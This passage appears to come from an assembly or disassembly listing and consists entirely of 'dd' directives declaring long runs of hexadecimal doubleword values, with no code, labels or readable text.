5A453938h, 0DB59C582h dd 0B0C0DF71h, 63000F4Ah, 0F527F714h, 4A203h, 7A6DB2CDh dd 89D7EE55h, 99E4F407h, 0F9C038E9h, 7DAD36h, 0C2E626A7h dd 0D7811D8Fh, 9330DE02h, 0C0F28E3Dh, 4A6FEBh, 481168FEh dd 8BE5FC05h, 0BE31EC03h, 80609063h, 7FFD9Ah, 0E07182C2h dd 35E2738Eh, 65783Ah, 0DD3C7AF4h, 1C5A9A43h, 800F96E5h dd 1D82DC08h, 62076ADBh, 0C9B5B43Eh, 7390AE77h, 262746ACh dd 3904E8B1h, 1E494107h, 58FC1095h, 0F677C831h, 455A1401h dd 0EA806C3h, 0B0868434h, 0FC84900Ch, 9412002Bh, 0A36A20D2h dd 0F5A0D7F9h, 2103584Ah, 0A12AAEB4h, 92D4E0F3h, 4B96002Ch dd 861515Bh, 3B00EA87h, 3286B7Fh, 124ACCFh, 3C7CCB30h dd 240461F7h, 0C00363Ch, 0AF29E239h, 0BEAABCh, 3559A18Eh dd 0C7FFE4C2h, 87932439h, 0C64A5447h, 0E0401273h, 0FBFEBE19h dd 0ADC88431h, 0EF473FE3h, 4207D212h, 5EB05F9Ch, 78406027h dd 938BF0h, 316AFA66h, 9EF6D6C1h, 141C5C13h, 0AED43400h dd 0F4DF22h, 20A6C453h, 0A5790752h, 0C8F0841Ch, 0C09D6C0h dd 7B5572h, 68E9C0A1h, 159BE6F4h, 0D6FF3600h, 67CE6A7Dh dd 8EC73F11h, 0F712F801h, 2007E00Fh, 87008DD9h, 1FD91D85h dd 3A9114F1h, 7F00F46Bh, 50BA19C9h, 4D009DF5h, 25FC2B1Ah dd 0B7993Ah, 8B3CE0FFh, 7413E7FEh, 85F73700h, 35450453h dd 8EA5009Bh, 8F5A12D8h, 5D030BC5h, 0CC15D22Bh, 57A400A6h dd 782A1CF3h, 95CB9E4h, 0AE6C0059h, 9633151Eh, 388F80Dh dd 7D83E5EEh, 50874F5Dh, 0D42AECCCh, 4287A900h, 94F0EFC0h dd 30F300F7h, 0A7DA1805h dd 0ED007B5Bh, 79AFB470h, 1C13963Dh, 12123924h, 0C0588057h dd 415DF1A1h, 0AF8800A4h, 1D9F7BEBh, 0EE900089h, 2327D948h dd 50059D6h, 580F69D3h, 0B4F6641h, 4418A96Eh, 3C00190Bh dd 70BB407Ah, 9681A58h, 37786FDh, 0AE99924Bh, 4A8E1C60h dd 0B65C35h, 223C28A7h, 0D3E6BF75h, 1059A1Dh, 49137100h dd 9CC96Eh, 934512DAh, 5F66EA2Fh, 80F6F53Fh, 0E97DE19Bh dd 36BA1AFh, 9A8833A4h, 0F5D9AEE3h, 0CBE84012h, 670E26B7h dd 60CAED72h, 0FCA37B37h, 7AFD0062h, 0B255AFF0h, 64F4D138h dd 0D9707400h, 6CA295D8h, 0BC580039h, 0EFDE367Ch, 0C8D2C8C1h dd 998F8D01h, 51304F01h, 0CE6D09A5h, 40816EB1h, 28A02BE7h dd 25A6008Ch, 36E51EADh, 70430F4Ah, 73A04CEBh, 16474DFAh dd 4B024E01h, 48014F1Ch, 0EBCF64D1h, 12190317h, 81F20735h dd 0D0A40801h, 0BCDE5BDCh, 8A5F6187h, 0B1A160B8h, 1C0FBB37h dd 373D3D5h, 0C0B33564h, 0AFD33FFh, 4BFA421h, 253F00F4h dd 0B8AFD2A1h, 0D774DCF6h, 0F4DAD801h, 67E6DE20h, 0A65FF0h dd 3E37C8BFh, 68FD99DFh, 0BD84EF09h, 80C400B1h, 2E9E2AB6h dd 0C102B9h, 0ECC63D63h, 0DB096A05h, 60B11582h, 0F372D209h dd 98447880h, 133368FCh, 0A1191C30h, 21F13CD3h, 3D06A821h dd 0E1DF11h, 70DEF63Bh, 52D3E65Ah, 75DBA400h, 14E32F94h dd 5F7F0071h, 327EF0BBh, 39009C82h, 0DFDD97FFh, 377AA8h dd 0E254FC0h, 0E2AC18EBh, 6C177C00h, 0D4DADB4h, 0BDE300D5h dd 24AB1686h, 1800D092h, 80A5BF33h, 1D8C394h, 12EC676Ah dd 202C0450h, 0D205A40Dh, 731260Ah, 0ED418D80h, 0A1360011h dd 62FD367h, 8002A497h, 57ADDCBFh, 8252E0DDh, 0B5A704F6h dd 807B1758h, 15A48DB8h, 6007E7Eh, 9D3018C5h, 954621h dd 17351383h, 7CEAA1CFh, 4C8CB354h, 0D58ECB01h, 1A103156h dd 6588FC8h, 0EF1EC4DDh, 13185879h, 95316CE7h, 5DBCA80Eh dd 0E11803FEh, 513C8676h, 3B307FC0h, 192A5C00h, 0F04F655h dd 0CCA21093h, 6AA9064Ch, 3E41182Bh, 3707F997h, 508B21B4h dd 9440020Bh, 902182E1h, 61EEC282h, 6DE0AAD8h, 8ED13F0Dh dd 0DF591700h, 1A5989Ch, 81400C60h, 190A67h, 0F7FB9A10h dd 0E441C835h, 9B4DAF00h, 303ECC51h, 369E00A2h, 43A71AF8h dd 0B614D3FDh, 1EB3835Fh, 42C0FA03h, 0C1D0F57Eh, 0ED180090h dd 95B3C379h, 9401B99Ah, 0EE238FACh, 0DCE0FB2Bh, 0C811C0A8h dd 101BF3DFh, 33384607h, 80C0742Dh, 37257EA9h, 80789617h dd 3241C631h, 0FE1389C0h, 3C9042h, 847516C1h, 3D7D444Ah dd 0F1D3F700h, 72C2F274h, 2CCB00EFh, 59F09631h, 0B778C666h dd 4B00A7FEh, 0F664131Fh, 308D280Ah, 952E440h, 14026DCBh dd 0A67476CDh, 0C61482A8h, 96840027h, 9500F709h, 4C1BA1EBh dd 0C5FB48h, 6DAB5D60h, 0BE42C0F9h, 81C43400h, 5B6EDF3Fh dd 0DA6401E9h, 545DCB8Ah, 67B3F81Fh, 0C926F700h, 1CCF3E2Ah dd 0DAA002A4h, 0A5207D6Ch, 0B7244B60h, 0F56D0200h, 0B58F95ACh dd 1EB63A31h, 0B13F3400h, 5D476B99h, 73BFF900h, 0EDB4CA2Ch dd 2901Ch, 54280553h, 0BFBD09C7h, 431D3307h, 59C0B2A2h dd 3A5BFEAEh, 0E8003517h, 3811BC7Ah, 10CF32B4h, 1D41A02Dh dd 2687BEFh, 78B6C2Eh, 0A8808844h, 7249C9BAh, 3E3A1200h dd 27595C1h, 0E9A7F4Dh, 0D4920EA7h, 0C0BDDD20h, 0DF021972h dd 5F8ACD9h, 0E7CE2F2h, 9F998098h, 4DD16Fh, 1E9CAF24h dd 18D9BA8Dh, 0D57DDE00h, 0FDF69102h, 2D361D5Ch, 0B0EC00Ah dd 586F27F3h, 98564407h, 0DCC00CC9h, 0A1AD34h, 0CD73E7CAh dd 0B7664AABh, 9DCB453Dh, 5F073E12h, 8B00C005h, 51384F2h dd 5D2E20B6h, 619CC0D9h, 3B00A6FBh, 0EE5A4603h, 0D1F0D4h dd 0B90CD82Fh, 35BD7143h, 7804C54h, 62C56C00h, 6157A896h dd 0CA89000Eh, 2B3A1FB3h, 400F40Fh, 7C3DC73Eh, 538288h dd 6A86EA61h, 0FD324FB8h, 0E3007FE6h, 76B125F4h, 150E63Eh dd 545BE8B2h, 0E88C268Ah, 1200619Fh, 2905FF96h, 48744D56h dd 0EF0014DDh, 0FBDFC39Ch, 0BB399A04h, 6FEE82F1h, 42CAC542h dd 40AF4004h, 7F550F21h, 99E19665h, 7023A02Eh, 0A83A8A48h dd 0E46380B1h, 1164DE03h, 24C2039Ch, 0BAFD0408h, 0B0194DE0h dd 56C8AC00h, 0AAE8B1Ah, 0A46017CAh, 89911485h, 4F2A6D01h dd 0D06FF027h, 5500742Fh, 0E6E1CFB5h, 0B4C1F1h, 4694789Ch dd 179D7733h, 3A876100h, 7619E44Eh, 3CE71D4Ah, 0A03540F7h dd 0B6C9B0FDh, 0FC275500h, 4FC78D2Ah, 0F0621C3Dh, 5BD5008Fh dd 68FE23C2h, 4CAC1C00h, 5895B5B9h, 64B3E286h, 800B285Ah dd 973FAF9Bh, 114DC504h, 4C175DCh, 20E0890Ah, 748D02A8h dd 946BC3D4h, 0A1159C60h, 8079A003h, 0B9B0B575h, 0BCF89309h dd 0D6700062h, 877A0F4Bh, 0CF3B9CF4h, 0D9958292h, 0E003FA13h dd 1EE990E4h, 40698D73h, 8A35BC65h, 6700BE9Ch, 0E8F6E68Bh dd 0D7387Dh, 0F4764658h, 1F38EBDh, 903ACE06h, 108D4C9h dd 0E434D2C7h, 0F3300535h, 0D9404BBAh, 3200F658h, 9BC9A2D9h dd 562264h, 0E621E3FEh, 538AEB14h, 0F7B7AE13h, 0CA417841h dd 11208B8Ch, 0D09034h, 436E6330h, 9848BA9Dh, 91AC2500h dd 23DE05F0h, 5EE8FBh, 0B9249C0Fh, 3CE8B526h, 7D0E2FF2h dd 8033C939h, 0EEA65BA2h, 0D04800A4h, 0FBE435B5h, 413D100Fh dd 0C45982D7h, 40F2BFEAh, 1FB17490h, 0C03D396Bh, 5EA62656h dd 13005027h, 3047216Fh, 1D92BAA4h, 19D810Ah, 0E2D63840h dd 0A87EEC90h, 21201E18h, 13F611h, 3A987892h, 4FC6B87Dh dd 733BC11Ch, 8F96C3C0h, 0C01E13BCh, 267BBE8h, 833FC5F8h dd 7B00FCEAh, 0CA5DFDFBh, 4F843Dh, 9EE2F08Fh, 0EF9FC2C1h dd 22D26100h, 0F6FAAD32h, 0BC0E3F05h, 2A570700h, 3981BE4Ch dd 0E96DD902h, 0E02E4EAAh, 0A06F3145h, 9A88B4h, 8FD9F305h dd 4C53479Eh, 24C1F700h, 0AD69A781h, 0CBBE00F4h, 949DC078h dd 57014A91h, 871968EDh, 0BBC8F54Fh, 63B70199h, 287D2714h dd 0A0F020DBh, 4D63C2Ch, 0FEA31E00h, 163C636h, 69AA96F3h dd 0D4086AACh, 3909EBD6h, 188750E3h, 1E2226Ch, 2FAB45F3h dd 43E533F8h, 5FD08CF0h, 9D00FF85h, 0C18D159h, 1EF2E29Bh dd 0C0BE3D34h, 0B651AE78h, 0A2001C09h, 3C47A3AFh, 1F43F879h dd 0A00360h, 0C9EF78E4h, 0F70EAF76h, 0F40A3D93h, 8F7A76F8h dd 0F111790Eh, 7BAA20FEh, 408AB19h, 9BBCD644h, 4064C7A9h dd 0C3C6A206h, 47345D00h, 1F367BE6h, 12E003Bh, 4E04AB8h dd 1204CEE4h, 0BDD24513h, 0A085EC90h, 6D0C268Eh, 9F640094h dd 91E90620h, 955C6500h, 63F6C3E6h, 0B73D01EEh, 0E093C746h dd 5866F038h, 3CF0D03Ah, 2DB3004Ah, 0C948BC55h, 0CD600077h dd 9B964F03h, 3E1D143Ah, 3DAC2625h, 0ADAAED01h, 7BF5488Eh dd 1DDAA4ECh, 0EE653F52h, 0D405802Ch, 8CD002FBh, 2B09D500h dd 0FCBCDE89h, 0BDD10088h, 403D8420h, 0EA748527h, 0C78A1E0Ah dd 1D000C04h, 2D996486h, 21FE863h, 0B7F7E319h, 0A4488A87h dd 2E749E6Eh, 0F94B70C0h, 0C146FAE7h, 163F7E08h, 1945F08Ch dd 4975E801h, 31850814h, 6DB73189h, 0CECFF580h, 8C5AD8Fh dd 68D0CC83h, 54DB5F94h, 0C0180Ah, 0B65761C3h, 66CE8AAEh dd 0C7E97A63h, 3EB9E1F9h, 0A16F1180h, 89955D96h, 0D6134700h dd 0C5318204h, 866202D1h, 71C326CDh, 70F1C0E4h, 0A8C04BBCh dd 0E5E766FAh, 343F824h dd 77CA0123h, 69A0D056h, 70034C64h, 0B8040E6Fh, 0C2B1B8C7h dd 8EFD00DBh, 64BBA7C0h, 0F400F2D1h, 33524781h, 69C851h dd 0D8422D82h, 3771A78Eh, 0F4F097h, 0B64C22EDh, 925F7377h dd 0DBC0CA03h, 0C8344D79h, 2AA86E9Eh, 8001FEh, 2B3FB7D1h dd 2D960546h, 90F40600h, 1E7FC239h, 0F3780040h, 0F6F8A4Ah dd 0AE0023B4h, 2D04F78Ch, 72AFE074h, 171D2861h, 48EF00DCh dd 5CA3381Fh, 8B7D0B35h, 0DFB88E00h, 0DB2B2CEDh, 70462ABFh dd 0AE60090h, 8E3D6F56h, 0F505EA75h, 9391172Ah, 31E880EAh dd 480020DFh, 0FB9C058Dh, 62245Ch, 0F4081349h, 23B08673h dd 1DD0B639h, 0C800CA3Fh, 9B89B44Eh, 46310F30h, 0C85593FCh dd 0CC3F8709h, 6E411B01h, 2BB18FF5h, 0E9911866h, 0CD1E0016h dd 0C667E453h, 6339ED5Ah, 7CA92EA5h, 0A06D1B0Eh, 0A0CDF5E8h dd 80D8018Ah, 243AAE2Eh, 5F5082EFh, 36F129Ah, 0BD1C3E2h dd 0E0818089h, 0BEF74A20h, 36C787Bh, 5C42DAAFh, 0FEC0AEFFh dd 89CE4662h, 3ABB20A0h, 0C0645E5h, 0B5038E0Bh, 0E303C0B1h dd 4B0A3428h, 14EE80CDh, 0D6B001F2h, 93FB5C1Fh, 0FEEC5733h dd 393803CEh, 44847CEh, 4D8C0020h, 22257F71h, 855E00C6h dd 50FE454Eh, 4F006794h, 41923CFAh, 7D2157Ah, 8D31BE02h dd 295F9048h, 23E64CC6h, 0C8076F79h, 0C98AB9E8h, 221E046h dd 7226B4CCh, 0AAC06343h, 70E2352h, 0D0AC30h, 62500A73h dd 40390399h, 3489922Eh, 0D0AB6800h, 538EB2ACh, 6629005Eh dd 71261940h, 28606939h, 0D49BF10h, 833C03DEh, 0A9E553A8h dd 24F20818h, 11E3420h, 7719840Dh, 81373AE0h, 2A413B71h dd 0D1911443h, 0CA758030h, 42E06F22h, 0FC8DC0C9h, 7C82526h dd 0E1CB4E9Eh, 64FD6086h, 620258C2h, 2618538Ch, 0BC549076h dd 374F110Ah, 81C888ABh, 590AB59Fh, 7FF9F852h, 0D0270800h dd 39967685h, 68451D43h, 75F34F92h, 642024AFh, 3817D0F4h dd 5D46CE00h, 0AC28159Dh, 0D3E63DB0h, 9BC43403h, 61C0760Dh dd 33004F71h, 25018E53h, 759C9DBCh, 0BD2D14B1h, 9803AE54h dd 3AA6469Fh, 9C50DA80h, 892B831h, 20812E81h, 6BA7B026h dd 0B6F8F4A8h, 8F1ADA00h, 9A2A0FE9h, 1BA6009Ch, 9B9DE403h dd 0FF008C99h, 4C95382Fh, 0C197685Ch, 0A2378610h, 8398EF80h dd 596EEA9Ah, 2098CC08h, 972800DBh, 0E721CE9Fh, 0BC06A174h dd 0AAB2302h, 1C700358h, 9C909E95h, 0E0983061h, 40806A99h dd 821728E4h, 0F600A825h, 3C38E60Fh, 2AF31Dh, 2B26AF57h dd 1A5EFC24h, 972C2E00h, 29D12012h, 6DE81F0Bh, 0FFC50160h dd 839DEF48h, 14127861h, 0A0688072h, 207E1D11h, 215118A1h dd 17034C43h, 5ED2C81Dh, 13C9008Bh, 53ED0859h, 600F13Fh dd 96EFB3B9h, 1E01B0D4h, 1804DAA0h, 31FFC005h, 4C57C300h dd 0B4D5DF9h, 32B10023h, 8CAB499Dh, 0AE01DFFAh, 36824174h dd 0ADD0DE95h, 9B9C0178h, 2531D694h, 0ECA8F5BBh, 7107BF96h dd 7AEE93A4h, 34D28BD0h, 8E23004Ch, 895ADE59h, 0EF7006B3h dd 507A271Ch, 0BE5EDC41h, 9DCAD061h, 0C1E2DF04h, 0B864C7h dd 5A4446FFh, 0BDFBA2D2h, 8A947300h, 7C6EF23Ch, 0A53E30B6h dd 0B3236C18h, 30F39B20h, 9830C16Ah, 48C3EEF8h, 0D5E2A29h dd 46780960h, 0AA3C0021h, 9B00D57Ch, 48A8960Ah, 1D7231Dh dd 0E4708BA6h, 0F09983FBh, 810F50E3h, 87D540D2h, 65810734h dd 0AFE054C6h, 0DFE918C9h, 1D185011h, 0D0F8C41Fh, 402CC50Eh dd 44A290FCh, 7C70287Fh, 6CE90040h, 0F3983F29h, 3A001EFEh dd 37E0C5ECh, 32AFF7Ch, 0FA291F77h, 0C9085D18h, 0FDC5A9h dd 97D75E28h, 0DF0FF532h, 600AB7EAh, 0D54326B0h, 0DE1B193Eh dd 0E0DB6947h, 0EF187807h, 7EF9A622h, 0A73F1DFDh, 0C54030BAh dd 0D3F8D2B1h, 74B03900h, 554CE6D7h, 0A57800D6h, 181A0227h dd 0FB00F5F0h, 0AD28F744h, 19F28Fh, 0B8781BFDh, 8779C241h dd 0ACEE4D2Ah, 0FE74C301h, 0C5ED82B6h, 0AA54C080h, 1A23063Fh dd 25B0650Ah, 0B880FCBFh, 7C2849E2h, 74D50666h, 80419F8Fh dd 0CF90E000h, 731BF86Eh, 0C998A8DAh, 65940A3Eh, 0E22461C8h dd 93117AC4h, 7F10C982h, 90801FA1h, 0DE46B3Dh, 0FDA07200h dd 67C8212Eh, 3E5E00BFh, 1EEC338Fh, 1400BA41h, 7559B92Bh dd 908C960Eh, 0B8E10004h, 0D55769BBh, 54F2FDC4h, 0E5071EE8h dd 0FAC36CD0h, 0A08A0F20h, 76EF844h, 0A912BB77h, 2949E1FBh dd 0DC585C39h, 92D72284h, 84DE7624h, 8367AB80h, 126CEE81h dd 4498C019h, 1871E74h, 66242F41h, 12006822h, 0B093A7DEh dd 370CD652h, 0B00F8D55h, 0F7270023h, 2DE2101Dh, 303EF322h dd 0E720156h, 0D79BC882h, 0AD45820h, 0E1DFE5B5h, 5C4201DCh dd 24186BC1h, 5112D7B8h, 4C1E97B6h, 74206252h, 4929457Fh dd 0F4479043h, 41B3F484h, 0B698861Eh, 0BE1A2183h, 6900C8CBh dd 622AC42Dh, 34A60665h, 4EE0E078h, 45C0CCFCh, 7279A977h dd 4885050Ah, 30C234C8h, 8BE318B5h, 4E44F504h, 0A4925624h dd 1CC409Dh, 4539021Ah, 4FBA6E73h, 0F332C080h, 0AD01F1C0h dd 0AF1A18D1h, 0E4F89B52h, 8E1026Dh, 53AB9D0Eh, 0F9548080h dd 7100C807h, 703633A7h, 3B730D6h, 0E11E10D7h, 28280106h dd 1B00881Ah, 4E459C79h, 283898D1h, 905C9F95h, 0EC065450h dd 0E3E8A8E1h, 0D7CD02C3h, 931D10EEh, 0D1F8EC44h, 0C3F260F8h dd 0AB00F47Eh, 28E153C0h, 0F717B61h, 4A096A9Ah, 0B9B52C66h dd 0C738A07Ah, 1884D73h, 6049553Eh, 0E1139F72h, 7DF054D0h dd 1402A49h, 0FDA10750h, 0E42581B4h, 10594890h, 0C7E603Ch dd 32183EE2h, 9D207528h, 12AC0962h, 0B400DEB3h, 33726350h dd 6EA634A0h, 60553F19h, 0CC6DF18h, 5D303EE9h, 427A6848h dd 0D04538B2h, 0E0153D80h, 0F702580Dh, 27365001h, 416E96AAh dd 9C4AD2h, 0D3485920h, 561F446h, 0B37F0324h, 0EAAB0374h dd 0B000B571h, 0F6AB05A6h, 26108A87h, 0BFA0D45Fh, 851F6E14h dd 0EB80D338h, 0EED9275Eh, 7214C944h, 0CA8EAEDh, 30206461h dd 0C02300C7h, 0D72CA8F0h, 6B003B82h, 0B3F6BE48h, 6CE0CEh dd 0D6024EDCh, 0B2308B8Ch, 19259300h, 0BD4F2F58h, 0B47701C6h dd 0AB8AE7D9h, 551080CAh, 333F2DCCh, 0B39800A5h, 0B0CD4D23h dd 7600DD21h, 50CC515Ah, 95EC13h, 0A381797Ah, 0B2A82C52h dd 60F63Eh, 0AF92CB17h, 6FBECF75h, 0C45E6995h, 8029B539h dd 2EB4C275h, 0B0FCA007h, 858046CAh, 193942Ch, 0C99EFE3Fh dd 0B0CF98A8h, 0ABB24090h, 0CA020C24h, 9B19085Ah, 5064E100h dd 0D5121C45h, 0F7C90083h, 562D3D98h, 5E301853h, 0D4774179h dd 72D20017h, 2A84AC68h, 0BC00D6D5h, 0F7F81E7h, 3E4EA485h dd 961F2D8Fh, 21A50319h, 0F0079398h, 0C5E0C8DEh, 8C4FB6E5h dd 0BCCF412Ch, 10BD36E3h, 0A0219580h, 65C63CB3h, 0B829AB68h dd 0A21D2C03h, 0AF3010DFh, 772D0035h, 0E051F184h, 2F730123h dd 7F54E52h, 7480E8BBh, 873B3EFAh, 610B80D3h, 8AABF460h dd 10C7004Bh, 9DBD448Dh, 3A3B32BAh, 0E82D079Bh, 0F7671B7Fh dd 548D3140h, 767A00ECh, 0AB1AB21Ch, 0FC0022A5h, 0B7073B57h dd 15CBDE7Ch, 905A5C03h, 4FFF5501h, 0F02566C1h, 7D00D471h dd 48CFE9B4h, 1D4EDDAEh, 0B6F72Ah, 58B38BBDh, 3571DE24h dd 2D4A052h, 50B7E064h, 183C4116h, 20F23421h, 7CF37EA8h dd 949A11C0h, 0F8121D9Bh, 59CD0A47h, 324BFB7h, 0ED48E1F8h dd 3D5244C8h, 50C4EC03h dd 61AA91h, 48FC8620h, 3EBC612h, 1560BE60h, 0C4F3EC3Eh dd 217CEE28h, 5181CD4Ch, 0D1660CA0h, 0A469801Dh, 0B8FB3C0Dh dd 3D0E89Bh, 0D167ED1Bh, 2064CE86h, 560ACB78h, 3438404Ch dd 8251D16Ch, 0D5C9E014h, 409F1B33h, 0E1616A0Dh, 0F906074Ch dd 1FAA9048h, 9900D6D0h, 0DF3E2CB0h, 1ED5809Dh, 42DC850Ch dd 4803363Ah, 0B3F88890h, 3E2238h, 0EC49CB71h, 0F3215DF9h dd 936F820h, 9C05BE4Eh, 0F8D2A800h, 330ECFABh, 6AE9192Dh dd 0A601E42Bh, 326358B2h, 52D03421h, 9D1924A0h, 0C98640ACh dd 4E0FBF93h, 0ACF61D2Dh, 16A3829h, 5394DF89h, 806B3E47h dd 6F6E1D30h, 74CA01CBh, 1AD524E5h, 4398274h, 7E0678Eh dd 2499C942h, 4B047311h, 80AF04ECh, 0EE374124h, 0F2977D02h dd 8B4AD727h, 0C3110078h, 125637F0h, 490812FAh, 5084E1E0h dd 9EAC40C7h, 78160F9Fh, 364CA18Ch, 4AECB983h, 500141A9h dd 0B31CE8C2h, 10F0675Eh, 56440652h, 99FF0D18h, 92847654h dd 7A3B24FCh, 0D52F0763h, 0A2C7AA47h, 0C0905084h, 0C0C5389Ah dd 3CA74E70h, 0F090A0CFh, 1E66FD18h, 0FEDAD549h, 3B9A0EACh dd 6C54E2D7h, 15DC7817h, 46004C61h, 0D9A51E44h, 0BE7A95E0h dd 7FBCF952h, 5F5EB006h, 398977Ah, 88E656BBh, 7CA56891h dd 7300C318h, 0CB2BDFCFh, 82FCCEh, 0ED0A9A69h, 530255F8h dd 541FC892h, 0A8B5AB7Ch, 0BE591800h, 0E53AA46h, 2CDE92A4h dd 541E37E0h, 6E0CCBACh, 0E91FDF0Dh, 590C0E3Dh, 6C451A75h dd 2F4040B2h, 3ADA7132h, 9884D726h, 8A9D4606h, 0D1C63DF9h dd 4B06120Ah, 0DA6E8C8Ch, 1AE4DCC9h, 0A4F8384Bh, 5052497Fh dd 0ABB06B07h, 0AD4F0068h, 3449582Ch, 9A2874BCh, 7D1CF64Bh dd 0F0DF7AD6h, 1FA4FE00h, 16B0FA57h, 4289C4B1h, 1047506Ch dd 0C9001844h, 67A10244h, 0C0C224CFh, 635BB018h, 7CF84FECh dd 0D540810Eh, 40732F9h, 4687B476h, 19B1024Eh, 0EA0C4B0h dd 77AED1Ch, 34F54B7Eh, 0F81A2800h, 0AB00BC25h, 5ECD12D1h dd 0A12FD46Bh, 84C10D0h, 0CC434Eh, 0AB40E382h, 0FDCBDF65h dd 0F2F074F1h, 4CDE00CAh, 6C56431Dh, 0B805E0CDh, 1F9264BFh dd 942E2847h, 0BF006CC5h, 82DDF408h, 3E73EA37h, 7280DB8Dh dd 2ADA0987h, 0E403219Ah, 1FB7A227h, 0D35AF0F1h, 0FBE0173h dd 14FCD0Dh, 19BA7Bh, 0E78F81Fh, 102F563h, 6FBB3674h, 80B927F0h dd 0ED228C30h, 1F15ACh, 81C51C14h, 0DD70F569h, 31746701h dd 57E10ABEh, 5AADD017h, 0B800219Fh, 61690A4h, 172E0827h dd 0EF0DC6B9h, 5FD2700h, 1C1A4823h, 0C9EF1h, 795AA643h dd 800F362h, 6E8B2E0Dh, 3A5B01Bh, 6D4A2830h, 2DC8CF59h dd 27016CDEh, 7174A0FDh, 70CC0FAAh, 0A50900D5h, 15AB3F1h dd 90C076AFh, 0FBAE1C2Eh, 0DE220332h, 0BF270B8h, 3100387Bh dd 8D6DD69Eh, 5F576E7h, 0ABEBF4B9h, 0B808278Eh, 14982BC0h dd 0B3950074h, 0C1D9FB6h, 677919A4h, 0BB035605h, 443C08A2h dd 61A700F6h, 84BE5F57h, 9E00EB1Bh, 0C55CCD8Fh, 74D0A4Bh dd 0D7CF5EA6h, 92657033h, 0FC19F009h, 4B388227h, 0D4008908h dd 4C9CCA19h, 0FB37AA50h, 2BA7B20h, 0ABDC18C8h, 0CC80EBB4h dd 0C592C9Bh, 668CCB00h, 0E8E2C50Fh, 86A7004Bh, 5097379Ch dd 0C0EB7951h, 9D005358h, 6B4BAAB3h, 20DC9Bh, 0A3DF844Ch dd 311F5774h, 0AE8AC505h, 0AF39A2h, 0AC84478Fh, 0CF7E901Ah dd 0EE321D1Eh, 2345F980h, 292D20FAh, 140859ADh, 0ED80104Bh dd 2C1BC235h, 0B1515500h, 39CC183Ch, 80C00003h, 0AB2198BEh dd 540C100Fh, 0F1FB345Dh, 392B014Ch, 588DF5A0h, 9FE9F887h dd 36FCE505h, 8C5E3496h, 0A189CC8Fh, 47552E15h, 8410B221h dd 0CDA193C4h, 9FFE1848h, 5EE65930h, 45EE6600h, 53C263h dd 9B950A8Ch, 79F6C50Dh, 34E621ECh, 80A42D3Bh, 2659CF24h dd 0C552235h, 0B82C285Dh, 1B007C68h, 88110F65h, 3999629h dd 4943EC5Bh, 7170AB18h, 822EBE01h, 304795E6h, 0C1C30CC8h dd 0F010CDA1h, 1C9440A1h, 0B1CEB21h, 0C50343C2h, 204DFC70h dd 0BE00E918h, 0BB7AAA18h, 95AC37h, 2AD76C5Fh, 0D9C9FFDFh dd 8AEFCE00h, 0EDC20F22h, 0B5F85Dh, 9F344CC3h, 0E17A5747h dd 2756E80Ah, 0FB00941Eh, 46927C37h, 918867B4h, 20EB2041h dd 0E60017CDh, 0D099D327h, 7AEEADBh, 55593DD6h, 11F281CBh dd 0A9C05C97h, 4F82240h, 0AF68C743h, 0E402809Eh, 0E1168782h dd 7F0F91B3h, 504260A3h, 0A1136BFh, 0C6A1DD54h, 2920518h dd 0D93028D8h, 144A5988h, 0BC5AF34Bh, 0C26EE800h, 0AF912013h dd 465B6406h, 0E2F4CC02h, 0D89360D9h, 43FD0511h, 5C3D8C04h dd 0A080AE67h, 6C84C3A1h, 37182C81h, 7019A242h, 48C890ACh dd 7406D9E4h, 35053440h, 1A9C0010h, 98634A66h, 7C009D2Ah dd 5AC98147h, 7CC346D5h, 0D0CF0462h, 802D1A0Ah, 38F3651Ch dd 74874400h, 0D7A9DF5Fh, 351200B3h, 36AA553Ch, 0A12A7D57h dd 0A618D89Eh, 1B1178FBh, 0CCF00CDAh, 8591628Ah, 72E5FC09h dd 380801E8h, 0C6FE14h, 6AA34643h, 0A4C02524h, 0A0AB2340h dd 1F897501h, 0CBB28EBh, 3778359Fh, 20267A00h, 2FEFF6DCh dd 844A0008h, 9698B9B4h, 0C03BC1Fh, 0D9144080h, 892F88CDh dd 100961ECh, 8291DCF9h, 4301C998h, 73004050h, 0C01B0093h dd 0B9DD1879h, 672C0222h, 0B024B699h, 0E500EC22h, 875BE9CEh dd 0ADB7A1h, 1981494Eh, 550F42CBh, 7CCEE00h, 937EF688h dd 41BB37ACh, 74FDC0D1h, 9C1C1CBEh, 7854E69h, 2C013971h dd 0BE30A7FBh, 1B1EF840h, 49330136h, 0C2296B44h, 0F900E39Ch dd 0A05EEC6h, 26E017h, 0BFA56082h, 157C8E8Fh, 47453900h dd 582F4EFCh, 2DB90BD6h, 0B7071CC1h, 419D5085h, 16009897h dd 3284A1BDh, 149B4A07h, 0BC21C527h, 423F0193h, 213449D5h dd 14B4E478h, 0BFBC8800h, 0DC50E130h, 3DD037Fh, 0D26AC3F9h dd 1A86ADB0h, 0BD730700h, 7EB2EE37h, 5208C02Ch, 35ADD203h dd 0F52080FDh, 0DEA96CD5h, 0E27700B0h, 0DD267D5Ch, 0D20D14F4h dd 50EE5B1Bh, 778032E8h, 0F6A9031Ah, 86836A9Fh, 21E70835h dd 0CD1BCF80h, 3E18037Eh, 33AC607Fh, 0F25DCAB0h, 0F4DF4B06h dd 3868A070h, 0D203E059h, 0B8D74E2h, 51D7000h, 77B131C3h dd 39491BBCh, 0D1311833h, 468F9026h, 1229300Dh, 5256A906h dd 4491829Fh, 0E40068CDh, 0B0E0131Ah, 1E0BC58Eh, 80E107B6h dd 807C8D61h, 7A06C1DBh, 643F04D6h, 9F433878h, 813BEC7Ah dd 0CA4520CDh, 0CEB9EC00h, 35824A09h, 26F9300Eh, 93703C20h dd 2CEAE700h, 4D5303F3h, 0AF620676h, 0C0C241C4h, 29186B78h dd 2861BE40h, 0D31428A5h, 5C300984h, 0CF00D9E9h, 0B5A7017Fh dd 4B3967F8h, 99C285A6h, 80BBDCB1h, 29DE9765h, 50C38400h dd 0C96F3290h, 3B303E2Ah, 3A5CB51Fh, 3FE5E300h, 0AFDA33B4h dd 980B8A02h, 0C087B3B1h, 634AD0Bh, 0BBDE92CDh, 76033151h dd 4DEFACE8h, 4F70DF52h, 32BF5Dh, 84A4698Eh, 9AB6CDB1h dd 0DEC23A07h, 29383E8h, 9809BBBAh, 6755A3EBh, 90E4107Eh dd 41592D3h, 0AFDD7800h, 0D241E06Bh, 4320C0D5h, 63181C9Eh dd 48B07D00h, 8B9801F5h, 62ED003Ch, 6159B3E0h, 5C396BD8h dd 27E0E79h, 55C32339h, 8FDDE085h, 891B071Dh, 8043280Fh dd 0C371B7CCh, 94B4D903h, 0B8E50997h, 0BC3F6Eh, 78BD896h dd 717FBD84h, 0F4D4DE07h, 97809B5Ch, 